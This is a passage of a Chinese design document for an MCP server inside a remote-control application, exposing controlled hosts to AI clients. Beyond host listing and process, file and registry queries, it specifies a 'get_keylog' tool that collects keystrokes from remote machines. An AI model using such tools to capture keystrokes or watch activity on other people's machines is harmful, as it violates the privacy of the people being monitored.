- 后续:逐步添加工具(进程列表、命令执行、屏幕截图等),架构不动
### 1.3 非目标(明确不做)
- 不做 SSE 服务器推送(本期工具调用是 request/response 即可)
- 不做多用户/角色体系(复用现有 WebService 认证或静态 token)
- 不做写操作工具(操控主机的工具属于后续阶段,需单独评审安全边界)
- 不碰现有 Web 控制台的 WebSocket 服务
---
## 2. 现状分析
C++ 服务端已有大量可直接复用的资产,MCP 的落地成本因此大幅降低。
| 现成资产 | 位置 | 在 MCP 中的角色 |
|---|---|---|
| HTTP 服务器 | `httplib.h`(header-only,`file_server.h:34` 已用) | MCP 的 HTTP 传输层 |
| JSON 库 | `jsoncpp/json.h`(`WebService.cpp` 已用) | JSON-RPC 编解码 |
| Token 认证 | `WebServiceAuth.h`(`GenerateToken` / `ValidateToken` / `ComputeSHA256`) | 可选升级路径;MVP 用简单静态 token 比对(见 §3.5) |
| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()`(`WebService.cpp:1506`) | **工具 `list_online_hosts` 的核心逻辑** |
| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList`(`2015RemoteDlg.h:345`,`m_cs` 保护)+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
### 2.1 关键结论
- **HTTP、JSON、认证、主机列表 JSON 全部现成**,MCP 侧不需要重新造轮子。
- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**,因为 C++ 没有官方 MCP SDK(官方仅有 TS/Python/Java/Kotlin/C#/Go)。
### 2.2 `BuildDeviceListJson` 现状
`WebService.cpp:1506` 的 `CWebService::BuildDeviceListJson(const std::string& username)` 已实现:
- 遍历 `m_pParentDlg->m_HostList`,过滤 `ctx->IsLogin()`
- 输出字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
- 已处理 GBK/UTF-8 编码分叉(`activeWindow` 字段按客户端能力位选择编码页,见 `WebService.cpp:1581` 附近的 `GetClientEncoding`)
**该方法是 `private`**(`WebService.h:160`,位于 private 段)。MCP 侧需通过公开入口复用(见 §3.4)。
---
## 3. 方案设计
### 3.1 总体架构
```
2015Remote.exe(MFC 服务端进程)
├─ IOCP TCP 服务(被控端连接,现有)
├─ WebService(ws::Server,Web 控制台,现有,8080)
└─ McpServer(httplib,新增,默认禁用,经「MCP设置」开启后监听 127.0.0.1:6544)
POST /mcp → JSON-RPC 分发
├─ initialize
├─ tools/list
└─ tools/call
└─ list_online_hosts → 复用 BuildHostJson(公共函数,§3.4)
```
**核心决策:独立起一个 httplib server,不挂到现有 `ws::Server`。**
理由:
- 现有 `ws::Server` 的 `HttpHandler` 只有 `path` 参数、无 POST body(`SimpleWebSocket.h:345`),强挂 MCP 需改动其底层,侵入大、有回归风险。
- 独立 server 零耦合、零风险,且天然满足「仅 127.0.0.1」的绑定需求。
### 3.2 新增文件清单
| 文件 | 职责 | 估算量 |
|---|---|---|
| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层:`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框(启用/端口/绑定/token + 重启提醒) | ~150 行 |
| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线(`ID_MCP_SETTINGS` → `OnMcpSettings`) | ~30 行 |
| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
> 头文件/实现可合并精简,实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态,文件拆分仅为可读性。
### 3.3 协议层设计(JSON-RPC 2.0)
MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法:
#### 3.3.1 `initialize`(握手)
请求:
```json
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
```
响应:
```json
{"jsonrpc":"2.0","id":1,"result":{
"protocolVersion":"2025-06-18",
"capabilities":{"tools":{}},
"serverInfo":{"name":"yama","version":"<VERSION_STR>"}
}}
```
#### 3.3.2 `tools/list`
请求:`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
响应:
```json
{"jsonrpc":"2.0","id":2,"result":{"tools":[{
"name":"list_online_hosts",
"description":"获取当前所有在线主机的列表,包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
"inputSchema":{"type":"object","properties":{},"required":[]},
"outputSchema":{
"type":"object",
"properties":{
"hosts":{
"type":"array",
"items":{
"type":"object",
"properties":{
"id":{"type":"string"},
"name":{"type":"string"},
"remark":{"type":"string"},
"ip":{"type":"string"},
"os":{"type":"string"},
"location":{"type":"string"},
"rtt":{"type":"string"},
"version":{"type":"string"},
"activeWindow":{"type":"string"},
"online":{"type":"boolean"},
"group":{"type":"string"},
"screen":{"type":"string"},
"clientType":{"type":"string"},
"tls":{"type":"boolean"}
}
}
}
},
"required":["hosts"]
}
}]}}
```
#### 3.3.3 `tools/call`
请求:
```json
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
```
响应(结构化输出:`structuredContent` 承载主机数组,`content` 是可读摘要 + 同一份结构的紧凑 JSON):
```json
{"jsonrpc":"2.0","id":3,"result":{
"structuredContent":{
"hosts":[
{"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
"os":"Windows 10","location":"上海市","rtt":"12","version":"...",
"activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
]
},
"content":[
{"type":"text","text":"共 1 台主机在线。"},
{"type":"text","text":"{\"hosts\":[{\"id\":\"123\",\"name\":\"DESKTOP-ABC\",...}]}"}
],
"isError":false
}}
```
第二个文本块来自 §14:规范要求返回 `structuredContent` 时也把序列化 JSON 放进 TextContent,否则只读 `content` 的客户端拿不到 `id`。
#### 3.3.4 可选实现
- `ping`:返回空 result(便于健康检查)
- `notifications/initialized`:客户端通知,可忽略
#### 3.3.5 错误响应(JSON-RPC 2.0 标准)
协议层必须处理以下错误,返回标准 `error` 结构(`id` 回填请求 id):
| 场景 | code | message |
|---|---|---|
| 请求体不是合法 JSON | `-32700` | Parse error |
| 请求结构不合法(缺 jsonrpc/method 等) | `-32600` | Invalid Request |
| 方法未实现 | `-32601` | Method not found |
| 参数非法 | `-32602` | Invalid params |
| 内部错误 | `-32603` | Internal error |
示例(方法未实现):
```json
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
```
#### 3.3.6 传输层约定(Streamable HTTP 最小子集)
- 客户端 `POST /mcp`,请求头 `Content-Type: application/json`、`Accept: application/json, text/event-stream`。
- 服务端返回 `Content-Type: application/json`(MVP 工具调用为 request/response,无需 SSE 流式)。
- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理;MVP 单会话可省略,实现时对照最新 MCP 规范确认。
- 仅接受 `POST /mcp`,其余路径/方法返回 404/405。
### 3.4 工具设计:`list_online_hosts`
#### 取数方案(已定:抽公共函数)
`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法,且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则,采用**方案 C:抽公共函数**。
```cpp
// 公共函数:提取单台在线主机的完整数据(含 GBK/UTF-8 编码处理),返回 UTF-8 的 Json::Value
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
```
- `CWebService::BuildDeviceListJson` 内部改调该公共函数,Web 侧签名与输出不变(零回归)。
- `McpServer` 侧持 `CMy2015RemoteDlg*`(`SetParentDlg`),在 `m_cs` 锁内遍历 `m_HostList`、`IsLogin()` 过滤,对每台主机调 `BuildHostJson`,组装为结构化输出。
- **职责边界**:用户名/分组过滤(`username` → `allowed_groups`)、`m_cs` 加锁、以及外层结构(Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`)属于**调用方**,不进公共函数;`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`,故 `clientMap` 作为参数传入。
选型说明:方案 A(MCP 依赖 `CWebService` 单例)依赖方向错误,且 `WebSvrPort=0` 时 `m_pParentDlg` 为空导致取不到数;方案 B(MCP 自持父对话框复制逻辑)违反 DRY、重复易错的编码处理。故取 C。
#### 返回内容(全量,含实时信息)
**保留 `BuildDeviceListJson` 的全部字段,不做精简**,以支持「AI 协助监督客户端运行状态」的场景:
- 基础标识:`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
- 实时信息:`rtt`(延迟)、`activeWindow`(当前活动窗口,即被控端正在做什么)
- 连接凭据:`tls`(布尔,对应在线主机列表的 TLS 列;`true` 表示该客户端本轮以 TLS 模式登录,是**登录时的凭据**而非实时探测;老客户端/空值一律 `false`)
输出结构 `{"hosts": [...]}`,每台主机一个对象,字段与 §3.3.2 的 `outputSchema` 一致。
### 3.5 安全设计
- **绑定地址**:默认 `127.0.0.1`(仅本机回环,其他机器无法访问);可经 `McpBind` 配置为 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程调用。
- 非回环绑定时 token 经明文 HTTP 传输,需强 token,并建议配合防火墙限制源 IP 或启用 HTTPS(项目已有 WebHTTPS 实践)。
- **静态 token 校验**:每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header;不匹配返回 HTTP 401。
- **token 来源**(优先顺序):环境变量 `YAMA_MCP_TOKEN` → `THIS_CFG` 的 `McpToken` → 两者皆空则**随机生成**。
- 前两者任一非空即作为固定 token;仅当两者皆空时才随机生成(仅本次进程运行期间有效,进程重启后重新生成不同的 token)。
- 随机生成时**必须将 token 输出到日志**(`Mprintf`),否则用户无从获知、无法在 Claude Code 侧配置。
- 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏(如 `BRAND_MCP_ENV_VAR`),避免散落硬编码字符串。
- **只读边界**:MVP 仅一个只读工具,不暴露任何写/操控能力。
- **HTTP 方法限制**:仅接受 `POST /mcp`,其余返回 404/405。
### 3.6 配置设计
沿用现有 `THIS_CFG`(`settings` 节):
| 配置键 | 默认值 | 说明 |
|---|---|---|
| `McpEnabled` | `0` | MCP 总开关:`0` = 禁用(默认),`1` = 启用。经「扩展 → MCP设置」对话框设置 |
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程 |
| `McpToken` | 空(UI 默认随机值) | 静态 token;对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级:env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成(见 §3.5) |
| `McpKeylog` | `0` | 键盘记录工具 `get_keylog` 的独立开关(见 §9.3);与 `McpReadonly` 无关,改动需重启生效 |
| `McpToolTimeoutMs` | `20000` | 工具等待客户端响应的默认超时(ms),clamp 到 `[1000, 600000]`;各工具自己的 `timeout_ms` 参数优先。**ini-only**(无设置界面控件),改动需重启生效 |
| `McpHttps` | `0` | `1` = 对外端口说 HTTPS(native TLS,见 §13),httplib 退到 `127.0.0.1:McpInternalPort`;`0` = 保持明文。经「MCP设置」对话框的「启用 HTTPS」复选框设置,改动需重启生效 |
| `McpCertPath` | 空(回退 `[tls] CertPath`) | MCP 专用证书(PEM)。面向公网客户端时应为公共 CA 证书(如 Let's Encrypt 的 `fullchain.pem`),不要复用设备端口的自签证书。对话框「证书路径」行可填/浏览;为空时按回退规则预填 `[tls]` 的值 |
| `McpKeyPath` | 空(回退 `[tls] KeyPath`) | 与 `McpCertPath` 配对的私钥,须为 PKCS#8(`-----BEGIN PRIVATE KEY-----`)。对话框「私钥路径」行可填/浏览 |
| `McpInternalPort` | 空(取 `McpPort+1`) | `McpHttps=1` 时 httplib 实际监听的回环端口,仅绑定 `127.0.0.1`。**ini-only**(对话框不暴露,自动取 `McpPort+1`) |
> 对话框里「证书路径/私钥路径」两行仅在勾选「启用 HTTPS」后可编辑;保存时校验两者非空且文件存在(加载失败会导致 MCP 监听 fail-closed,故提前挡住),格式仍以服务端实际加载为准。
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
### 3.7 生命周期接入
在 `2015RemoteDlg.cpp` Web 服务启动块(约 `2048-2081`)之后,新增 MCP 启动逻辑。`McpServer` 与 `CWebService` 同为单例:提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器(仿 `WebService()`,见 `WebService.h` 末尾的全局访问器写法)。
```cpp
auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0); // 默认禁用
auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
if (mcpEnabled) {
// token 优先顺序:env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
const char* envTok = getenv("YAMA_MCP_TOKEN");
std::string mcpToken;
if (envTok && *envTok) {
mcpToken = envTok;
} else {
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
}
if (mcpToken.empty()) {
mcpToken = GenerateRandomToken(); // 32 hex 随机串
Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置,本次进程随机 token:%s\n", mcpToken.c_str());
}
McpServer().SetParentDlg(this); // 方案 C:MCP 需遍历 m_HostList,须持父对话框指针
McpServer().SetToken(mcpToken);
if (!McpServer().Start(mcpBind, mcpPort)) {
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
}
}
```
并在退出路径(`OnDestroy` / `ExitInstance` 对应位置)调用 `McpServer().Stop()`。
### 3.8 「MCP设置」配置对话框
MCP 默认不启用,通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置:`2015Remote.rc` 扩展菜单(`POPUP "扩展(&X)"`)内、「地理信息(&L)」子菜单(纯真数据库 / IP2Region)的 `END` 之后、「插件设置」之前。
#### 3.8.1 菜单与资源接线
1. **`resource.h`**:新增命令 ID(取当前空闲段,经查 `33077` 空闲):
```cpp
#define ID_MCP_SETTINGS 33077
```
2. **`2015Remote.rc`**:在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入:
```
MENUITEM "MCP设置(&M)...", ID_MCP_SETTINGS
```
并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`(「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮)。
3. **`UIBranding.h`**:扩展菜单隐藏开关新增一行(默认 `0` 显示):
```cpp
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
```
4. **`FeatureFlags.h`**:新增运行时许可位,占用 MenuFlags 保留段 `[43-63]` 的首位(紧跟 `MF_REQUEST_AUTH` 之后):
```cpp
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
```
5. **`2015RemoteDlg.cpp`**:`#include "McpSettingsDlg.h"`,然后消息映射 + 处理器 + 剪枝:
```cpp
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
// ...
void CMy2015RemoteDlg::OnMcpSettings()
{
CMcpSettingsDlg dlg(this);
dlg.DoModal();
}
```
并在扩展菜单剪枝块(`pExtMenu`,约 `2015RemoteDlg.cpp:1225` 之后)追加:
```cpp
if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
```
> **实现注意**:`2015Remote.rc` 为 UTF-16 编码,菜单与对话框资源须由 VS 资源编辑器维护(手工改文本易破坏编码与资源 ID 引用)。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值(与 `ID_MCP_SETTINGS` 分开);对话框内控件 ID(如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`)同理。
#### 3.8.2 对话框字段与默认值
| 控件 | 绑定配置键 | 默认值 | 说明 |
|---|---|---|---|
| 「启用 MCP」复选框 | `McpEnabled` | 未勾选(`0`) | 勾选后持久化 `McpEnabled=1` |
| 端口 | `McpPort` | `6544` | 数字编辑框,仅当启用时有效 |
| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机;可改 `0.0.0.0` / 内网 IP |
| Token | `McpToken` | 随机值 | 必填;为空时预填随机 token |
| 「启用 HTTPS」复选框 | `McpHttps` | 未勾选(`0`) | 勾选后本端口同时接受 TLS(§13);未勾选时下面两行置灰 |
| 证书路径 | `McpCertPath` | 空(回退 `[tls] CertPath`) | PEM;带「浏览」按钮。为空时按回退规则预填 `[tls]` 的值 |
| 私钥路径 | `McpKeyPath` | 空(回退 `[tls] KeyPath`) | PKCS#8;带「浏览」按钮 |
保存时若勾选了 HTTPS,证书/私钥必须非空且文件存在,否则弹提示并留在对话框(身份加载失败会让 MCP 监听 fail-closed,故提前挡住);HTTPS 改动与其它项一样重启生效。
#### 3.8.3 初始化与保存
打开时读 `THIS_CFG` 回填;token 为空则当场生成随机值预填(32 hex)。保存时落盘并弹重启提醒:
```cpp
BOOL CMcpSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
if (tok.empty()) tok = GenerateRandomToken(); // 预填随机,随保存持久化
// 回填到控件:m_bEnabled / m_nPort / m_strBind / m_strToken
return TRUE;
}
void CMcpSettingsDlg::OnBnClickedBtnSave()
{
// 从控件收集:enabled / port / bind / token
if (enabled && token.empty()) {
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
return;
}
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
THIS_CFG.SetInt("settings", "McpPort", port);
THIS_CFG.SetStr("settings", "McpBind", bind);
THIS_CFG.SetStr("settings", "McpToken", token);
MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
_TR("提示"), MB_ICONINFORMATION);
CDialogLangEx::OnOK();
}
```
#### 3.8.4 与运行时 token 逻辑的衔接
对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**,于是下次启动走 `env → McpToken` 的固定 token 分支;运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过(或手动清空 token)时兜底,两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数(32 hex 随机串,可用 `rand_s` / `BCryptGenRandom` 实现;如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生)。
---
## 4. 实施步骤
| 步骤 | 内容 | 验收 |
|---|---|---|
| 1 | 新建 `McpProtocol`:JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`(含 jsoncpp 解析/序列化) | 单元自测:手写请求串,验证响应 |
| 2 | 新建 `McpServer`:httplib 起 `127.0.0.1:6544`,`POST /mcp` 路由 + token 校验(含随机生成) | curl 请求返回 401/正常 |
| 3 | 抽公共函数 `BuildHostJson`,`CWebService::BuildDeviceListJson` 改调之 | Web 输出不变,零回归 |
| 4 | 注册 `list_online_hosts` 工具:handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
| 5 | 新增 `McpSettingsDlg` + 菜单项接线(`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源) | 对话框可启用/禁用、配置端口/绑定/token,保存落盘并提示重启 |
| 6 | 接入 `2015RemoteDlg` 启动/停止(按 `McpEnabled` 门控)+ 配置 | 服务端启动后端口监听正常 |
| 7 | Claude Code 接入验证(见 §5) | 见验收标准 |
---
## 5. 验收标准
1. 在「MCP设置」对话框启用并重启服务端后,`127.0.0.1:6544` 监听正常,外部地址无法访问;未启用时该端口不监听。
2. 无 token 的请求返回 HTTP 401;错误 token 返回 401;正确 token 通过。
3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程,返回符合 JSON-RPC 2.0 与 MCP 规范。
4. Claude Code 侧:
```bash
claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
```
`claude mcp list` 能看到 `yama`,在对话中问「列出在线主机」能正确触发工具并返回列表。
5. 现有 Web 控制台、IOCP 主服务功能无回归。
---
## 6. 风险与约束
| 风险 | 说明 | 应对 |
|---|---|---|
| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法,量小可控;协议稳定后再考虑抽库 |
| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范;`initialize` 返回可协商版本 |
| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理,不自造 |
| token 存储 | `THIS_CFG` 的 token 会明文落盘;随机 token 会打印到日志 | 本地回环 + 只读,风险可控;敏感场景建议仅用 env 并妥善保管 |
---
## 7. 后续扩展规划(本期不做)
- 工具:`get_host_processes`(进程列表)、`execute_command`(命令执行)、`capture_screen`(截图)等
- 写操作工具的安全边界评审(操作对象、权限、审计)
- 认证升级:复用 `WebServiceAuth` 的签名 token / 过期机制
- 分组过滤:`list_online_hosts` 加 `group` 参数
- P9 远程交谈(已实现):`chat_open` / `chat_send` / `chat_wait` / `chat_close`,独立开关 `McpChat`(默认 `0`,与只读开关无关);协议不变,客户端聊天窗口改为 Unicode 对话框以支持非中文系统(见 `docs/Mcp_Chat_Design.md`)
---
## 8. 决策记录
**决策记录(全部已定):**
- ✅ **启用开关**:新增 `McpEnabled`,默认 `0`(禁用)。MCP 默认不启动,须用户在「扩展 → MCP设置」对话框手动开启。
- ✅ **端口**:`McpPort` 可配置,未配置默认 `6544`(纯端口语义,不再兼任启用开关)。
- ✅ **token**:优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成(仅本次进程有效,打印到日志)。对话框内 token 必填、默认随机值(预填并随保存持久化到 `McpToken`)。
- ✅ **绑定地址**:默认 `127.0.0.1`(仅本机);可配置为 `0.0.0.0` 或内网 IP(如 `192.168.0.92`)以支持多人协作跨机调用。
- ✅ **配置入口**:主对话框「扩展」菜单,位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项,打开独立配置对话框。
- ✅ **生效方式**:MCP 启用/端口/绑定/token 的改动均需重启服务端生效,对话框保存后弹窗提醒「重启程序生效」。
- ✅ **取数方案**:C(抽公共函数 `BuildHostJson`,MCP 与 WebService 平级复用)。
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
- ✅ **序列化**:`structuredContent` + `outputSchema`,`content` 附带可读摘要(2026-10-26 起再追加一份紧凑 JSON,见 §14)。
---
## 9. 增补(2026-10-25:N1–N5)
本轮在既有工具族(P2–P9)之上补齐「能找到主机、能一次查多台、输出不撑爆上下文、认证可追溯」四件事,全部为服务端改动,客户端零改动。
### 9.1 N1 离线主机可见
- 新增工具 `list_all_hosts`(`online` / `offline` 两个布尔过滤,默认都为 `true`),数据源是 `m_ClientMap`(主机列表历史记录,`GetAll()` 快照 + `m_cs` 保护),在线条目复用 `BuildHostJson`,离线条目由 `BuildOfflineHostJson` 生成,字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `online` / `group` / `last_seen` / `install_time` / `authStatus`。
- `search_hosts` 的 `online` 参数:`true` = 仅在线,`false` = 仅离线(修复此前 `online=false` 永远返回空列表的问题),缺省 = 仅在线(与改动前一致,不改变既有调用方看到的结果)。两类都要请用 `list_all_hosts`。
- `authStatus` 是 `ClientValue::Authorized` 的三态枚举(`unauthorized` / `authorized_by_super` / `authorized_by_admin` / `forbidden`),不是布尔值。
- `get_host_detail` 对「在 `m_ClientMap` 里但当前离线」的 id 不再返回 `-32002`,改为返回该主机的最后记录(`online=false`),使 `list_all_hosts` 的结果可直接消费。
### 9.2 N2 批量只读调用
- 只读工具支持 `ids: []`(最多 50 个),与 `id` 二选一(inputSchema 用 `anyOf` 表达)。命中批量的工具:`get_host_detail` / `list_processes` / `list_windows` / `list_services` / `list_files` / `list_registry` / `get_client_log` / `get_activity_history` / `list_network_connections` / 全部 `host_list_*` / `host_get_hosts_file`。
- 写操作工具传 `ids` 直接 `-32602` 拒绝(不逐个执行,避免误操作扩散)。
- 返回:`{tool, total, succeeded, failed, results:[{id, ok, data|error, text}]}`;`content` 里是「共 N 台,成功 X 台,失败 Y 台」+ 最多 ~1200 字节的失败明细。
- `limit` / `offset` 对每台主机各自生效;批量是串行执行,单台超时会占用整批等待时间。
### 9.3 N3 `get_keylog`
- 复用客户端既有键盘记录链路:主连接下发 `COMMAND_KEYBOARD(169)` → 客户端建子连接 → 子连接回 `TOKEN_KEYBOARD_START(293)` 作为就绪包绑定 → 之后每约 1 秒推一包 `TOKEN_KEYBOARD_DATA(294)`。
- 服务端把击键流**累积**(不是一问一答),窗口 `duration_ms`(默认 4000,1000–15000)或字节上限 `max_bytes`(默认 64 KiB,1024–256 KiB)先到者结束;结束时 `EndManagedSession(..., cancelIo=true)` 关闭子连接 —— 与 MFC 关对话框同一路径,客户端据此停止记录。
- 复用 P8 的挂起会话表(新增 `PendingKind::Keylog`,仍受「单设备单飞行」约束),就绪包绑定、迟到包墓碑、子连接断开唤醒全部沿用 P8 逻辑;绑定后服务端回 `COMMAND_NEXT`,让客户端 `WaitForDialogOpen` 立即返回(本工具不开 UI)。
- 返回 `{id, duration_ms, bytes, lines, lineCount, truncated}`,文本按客户端代码页转 UTF-8(`GetClientEncoding`)。**注意**:客户端连上后会先把缓冲区里已有的历史记录推过来,所以结果既含历史也含窗口期内的新击键。
- 独立开关 `McpKeylog`(默认 `0`,不要求只读关)。工具只在开关打开时出现在 `tools/list`,关闭时直接调用返回 `-32006`。
- 隐私:击键内容只进本次响应;审计只记 `CALL_OK tool=get_keylog ms=… bytes=…`,不落任何正文。
### 9.4 N4 认证加固
- 静态 token 校验失败:返回 401,并按来源 IP 计数;60 秒窗口内失败 10 次即封禁该 IP 900 秒,封禁期内返回 429 + `Retry-After`。失败表上限 1024,满时先清理过期项。
- 环回来源(`127.0.0.1` / `::1`)**只记账不封禁**:内置 frpc 把 MCP 端口映射出去时是「本机连本机」,且这条转发没开 Proxy Protocol(httplib 不解析),服务端看到的源地址恒为环回。若按 IP 封禁,一次外部扫描就能把隧道后面所有客户端(包括自己)锁死 15 分钟。审计里这类封禁触发记为 `AUTH_BLOCK ... scope=proxy-source-exempt`。
- 审计文件 `<exe>\logs\mcp_audit.log`(追加写,5 MB 轮转为 `.1`),每行:时间戳(毫秒)、事件、来源 IP、详情。
- `AUTH_FAIL`:UA(截断/清洗)、body 大小、是否因此被封禁。
- `AUTH_BLOCK`:封禁生效。
- `CALL_OK` / `CALL_FAIL`:`tool=`、耗时 `ms=`、响应字节数 `bytes=`。
- `CALL_DENIED`:被策略拒绝的调用(`-32006`)另记一条,含 `tool=` 与固定原因文本,见 §10.8。
- 审计**不记录** token、密码、哈希、剪贴板内容或工具返回正文。
### 9.5 N5 列表输出治理
- 列表类工具统一 `limit` / `offset`:默认 `limit=100`,硬上限 `1000`,`offset` 默认 0;非正数按默认值处理。
- `structuredContent` 统一附 `total` / `totalAll` / `offset` / `limit` / `hasMore`,与 `McpMachine.cpp` 既有约定一致(`host_list_*` / `list_network_connections` 本来就是这样)。
- `content` 摘要统一为「共 N <单位>,本次返回第 a-b 条(还有更多,可用 offset 继续取)。」;`hasMore=false` 时不再出现「继续取」的误导提示;`offset` 越界时明确写「offset 超出范围,本次返回 0 条」。
- 实现集中在 `McpInternal.h/.cpp`:`PageWindow` / `ResolvePageWindow` / `ApplyPageWindow` / `WritePageFields` / `AppendPagingProps` / `PageSummary`。
- `list_files` 仍受服务端 `ParseFileList` 的 500 条硬限制(`total=500` 且原目录确有更多条目时表示截断,不是服务端分页)。客户端侧不截断、按需扩缓冲一次性回全量;本轮未加 `truncated` 标记(要加得改服务端 `ParseFileList` 的调用约定),仍靠「`total=500` 且 `hasMore`」判断。
---
## 10. 增补(2026-10-25:A 批加固 / B 批非破坏性能力)
A 批只改服务端传输、元数据与校验,不动任何既有工具语义;B 批新增三个工具(两个写主机库、一个远程搜索)。**客户端零改动。**
### 10.1 A1/A2 传输层加固(`CMcpServer::Start`)
httplib 默认值对 MCP 场景不合适,改为显式配置:
| 项 | 默认 | 现在 | 原因 |
|---|---|---|---|
| 请求体上限 | 不限(`SIZE_MAX`) | 2 MB(超出 413 `RequestEntityTooLarge`) | 只收 JSON 参数,文件内容走子连接分块,绝不进 HTTP body |
